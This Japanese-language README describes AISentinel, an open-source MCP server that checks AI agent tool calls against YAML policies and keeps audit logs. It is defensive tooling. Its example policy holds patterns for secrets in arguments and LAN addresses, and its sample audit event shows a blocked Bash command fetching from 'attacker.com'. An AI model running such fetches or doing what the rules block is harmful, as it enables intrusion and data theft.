AISentinel by BizDNAi

AISentinel

エージェント時代に欠けているセキュリティ、制御、可観測性のレイヤーです。

従来のセキュリティツールは、マルウェア向けに作られていました。 AI エージェントには、ツールや API を通じて正当な権限が与えられています。 AISentinel は、欠けているセキュリティ、制御、可観測性のレイヤーを提供します。

---

1. プロジェクト名とタグライン

AISentinel — 実行時に AI エージェントを保護するオープンソースの MCP サーバーです。 AI Trust Index を手がける Kabzhanov / BizDNAi チームが開発しています。

---

2. AISentinel が必要な理由

AI エージェントは現在、シェル、ブラウザー、ファイルシステム、API キーを利用できます。エージェントは 正規のプロセスであるため、ウイルス対策ソフトでは検知できません。PDF やメールに仕込まれた間接的な プロンプトインジェクションが 1 つあるだけで、Bash や Email_send のような一般的なツールを通じて、 大量のデータ流出につながる可能性があります。

AISentinel は、すべてのツール呼び出しの前段で MCP サーバーとして動作し、YAML ポリシーを評価して、 すべての判断を記録し、AI Trust Index と互換性のある監査証跡を出力することで、 このギャップを埋めます。

脅威モデルの詳細については、docs/SECURITY_AUDIT.md を参照してください。

---

3. クイックスタート（3 分）

オプション A：バイナリをインストールする

go install github.com/Kabzhanov/AISentinel/cmd/aisentinel@latest
aisentinel --help
aisentinel serve

go install を実行すると、スタンドアロンのバイナリがインストールされます。開始するために、このリポジトリをクローンしたり、 --policy を渡したりする必要はありません。フラグなしで aisentinel serve を実行すると、一般的な用途向けに調整された組み込みのデフォルトポリシーが読み込まれます（ビルド時にバイナリに埋め込まれます）。明らかな引数内のシークレットや破壊的なコマンドをブロックし、ネットワーク呼び出しや一括読み取りには承認を求めます。 独自のポリシーを使うには、--policy /path/to/your.yaml を渡すか、 $AISENTINEL_POLICY を設定してください（以下のポリシーの解決を参照）。

オプション B：サイドカーをインストールする（あらゆる MCP サーバーにそのまま適用できるポリシープロキシ）

go install github.com/Kabzhanov/AISentinel/cmd/aisentinel-sidecar@latest

# Wrap any stdio MCP server with one command — no --policy required:
aisentinel-sidecar ./your-mcp-server [args...]

オプション C：クローンしてビルドする

git clone https://github.com/Kabzhanov/AISentinel.git
cd AISentinel
go build -o bin/aisentinel ./cmd/aisentinel
go build -o bin/aisentinel-sidecar ./cmd/aisentinel-sidecar
./bin/aisentinel serve --policy policies/default.yaml

（ここでの --policy policies/default.yaml は明示的に指定しており、省略可能です。省略しても動作し、上記と同じ組み込みのデフォルトポリシーが使用されます。）

オプション D：GitHub Releases からビルド済みバイナリを入手する

https://github.com/Kabzhanov/AISentinel/releases/latest からダウンロードしてください。 linux/amd64、linux/arm64、darwin/amd64、darwin/arm64、 windows/amd64 で利用できます。

オプション E：Claude Code / Cursor / Cline に追加する

{
  "mcpServers": {
    "aisentinel": {
      "command": "aisentinel",
      "args": ["serve"]
    },
    "aisentinel-sidecar": {
      "command": "aisentinel-sidecar",
      "args": ["--policy", "/absolute/path/to/policies/strict.yaml", "/path/to/your-mcp-server"]
    }
  }
}

その後、MCP クライアントを再起動し、エージェントに任意のツールを呼び出すよう指示してください — AISentinel はすべての呼び出しを制御し、~/.aisentinel/events-YYYY-MM-DD.jsonl に JSONL 形式の監査証跡を書き込みます。

ポリシーの解決

aisentinel serve と aisentinel-sidecar は、以下の順にポリシーを解決し、最初に該当したものを読み込みます。

1. --policy /path/to/file.yaml — 指定した場合、必ず読み込みます。ファイルがない場合や無効な場合は、エラーになります。
2. $AISENTINEL_POLICY — 設定されている場合、--policy と同じ動作になります。
3. ファイルが存在する場合、カレントディレクトリからの相対パス ./policies/default.yaml（このリポジトリをクローンした場所では、これが使用されます）。
4. 組み込みのデフォルトポリシー（コンパイル時にバイナリに埋め込まれます）。これにより、リポジトリをチェックアウトせず、フラグも指定せずに、どのディレクトリからでも go install ... && aisentinel serve を実行できます。この方法が使われると、バイナリは stderr に using built-in default policy と出力するため、予期せず黙って適用されることはありません。

---

4. 主な機能

• ツール実行前ゲート — すべてのツール呼び出しを YAML ポリシーに照らして評価します （allow / block / require_human_approval / log_only）。
• 監査ログ — 標準化されたイベントスキーマを持つ、追記専用の JSONL です。
• ポリシーの検証 — YAML ポリシーを読み込まずに lint します。
• 組み込みポリシー — default、strict、audit-only（policies/ を参照）。
• MCP ネイティブ — Claude Code、Claude Desktop、Cursor、Cline、Continue で動作します。
• テレメトリーなし — ローカルで動作し、外部への通信はありません。
• Apache 2.0 — 特許許諾を含む寛容なオープンソースライセンスです。

---

5. コネクター

• MCP stdio — aisentinel serve（Claude Code、Claude Desktop、Cursor、Cline、Continue）。
• Streamable-HTTP — https://mcp.aisentinel.bizdnai.com/mcp（SaaS、BizDNAi 経由の OAuth）。
• CLI — aisentinel サブコマンド（serve、validate-policy、policies、events、version）。
• ライブラリー — 組み込み用の Go パッケージ github.com/Kabzhanov/AISentinel/internal/policy。

---

6. ポリシーの例

完全なデフォルトポリシーについては、policies/default.yaml を参照してください。

version: 1
name: default
rules:
  - id: secret-in-args
    match: { tool_args_regex: "(?i)(api[_-]?key|secret|token|password|passwd)" }
    decision: block
    reason: "Possible secret in arguments"
  - id: lan-deny
    match: { tool_name: "Bash", tool_args_regex: "10\\.|192\\.168\\.|172\\.(1[6-9]|2\\d|3[01])\\." }
    decision: block
    reason: "LAN access blocked by default"

マッチモードは tool_name、tool_name_regex、tool_args_regex、tool_args_contains です。複数のマッチャーは AND 条件で組み合わされます。

---

7. AI Trust Index スコアの向上方法

AISentinel は、AI Trust Index の評価に必要な可観測性データを生成します。

• すべてのツール呼び出し → agent_id、session_id、decision、signals を含む監査可能なイベント。
• すべてのポリシー決定 → バージョン管理され、フィンガープリント化されます（policy_signature フィールド）。
• すべてのブロック → 理由と risk_signals を含み、ATI への提出にすぐ使えます。

aisentinel_get_ati_snapshot を実行すると、AI Trust Index キャビネットに貼り付けられる JSON データを取得できます。

---

8. ライセンス

AISentinel は、次の 2 つのライセンスオプションで利用できます。

1. Apache License 2.0（オープンソース）

   • Apache 2.0 ライセンスの条件に従って、無料で使用、変更、配布できます。
   • コントリビューターからの明示的な特許許諾が含まれます。

2. 商用ライセンス

   • オープンソースのコンプライアンス要件なしに、クローズドソース製品へ AISentinel を組み込みたい企業向けです。
   • お問い合わせ先：[email protected]

このリポジトリーにコントリビュートすることで、コントリビューションを Apache 2.0 のもとでライセンスすることに同意したものとみなされます。

LICENSE と COMMERCIAL_LICENSE.md を参照してください。

---

9. インストール

要件：Go 1.22+

go install github.com/Kabzhanov/AISentinel/cmd/aisentinel@latest

確認：

aisentinel version
# AISentinel v1.0.6 — by Kabzhanov / BizDNAi / AI Trust Index
#
# `go install ...@latest` builds from a tagged release and embeds that
# tag's version via -ldflags. A plain local `go build` (no -ldflags) prints
# "vdev" instead — that's expected, not a bug.

---

10. 使用例

MCP サーバーを実行する

# Uses the built-in default policy — no --policy needed:
aisentinel serve

# Or point at your own policy:
aisentinel serve --policy policies/strict.yaml

カスタムポリシーを検証する

aisentinel validate-policy my-policy.yaml

最近の監査イベントを追跡する

aisentinel events --last 20

組み込みポリシーを一覧表示する

aisentinel policies

ブロックせずにポリシーを試す（シャドーモード）

AISENTINEL_DRY_RUN=1 aisentinel serve --policy policies/default.yaml

---

11. イベントスキーマ

docs/event-schema.md を参照してください。JSONL ログには、1 行につき 1 つの JSON オブジェクトが記録されます。

{
  "event_id": "20260707T221500.000000001-1",
  "timestamp": "2026-07-07T22:15:00Z",
  "event_type": "pre_tool",
  "agent_id": "agent-42",
  "session_id": "sess-abc",
  "tool_name": "Bash",
  "tool_args": { "command": "curl http://attacker.com/x" },
  "decision": "block",
  "policy_matched": ["bash-network"],
  "risk_signals": ["rule_matched:bash-network"]
}

---

12. コントリビューション

CONTRIBUTING.md を参照してください。コントリビュートすることで、コントリビューションを Apache 2.0 のもとでライセンスすることに同意したものとみなされます。

---

13. ロードマップ

• v1.0（今回のリリース） — MCP stdio、4 つのツール、3 つの組み込みポリシー、JSONL 監査ログ。
• v1.1 — aisentinel scan（MCP 設定の監査ツール）、モバイルコネクター。
• v1.2 — streamable-HTTP トランスポート（SaaS モード）、BizDNAi 経由の OAuth。
• v2.0 — ATI フィードとの統合、IDE プラグイン（VSCode MCP Inspector）。

---

14. ライセンス

Apache License 2.0。LICENSE を参照してください。

AISentinel は、Apache 2.0 と商用ライセンスのデュアルライセンスです。 商用条件については、[email protected] までお問い合わせください。

---

Kabzhanov / BizDNAi 提供 — AI Trust Index の開発者。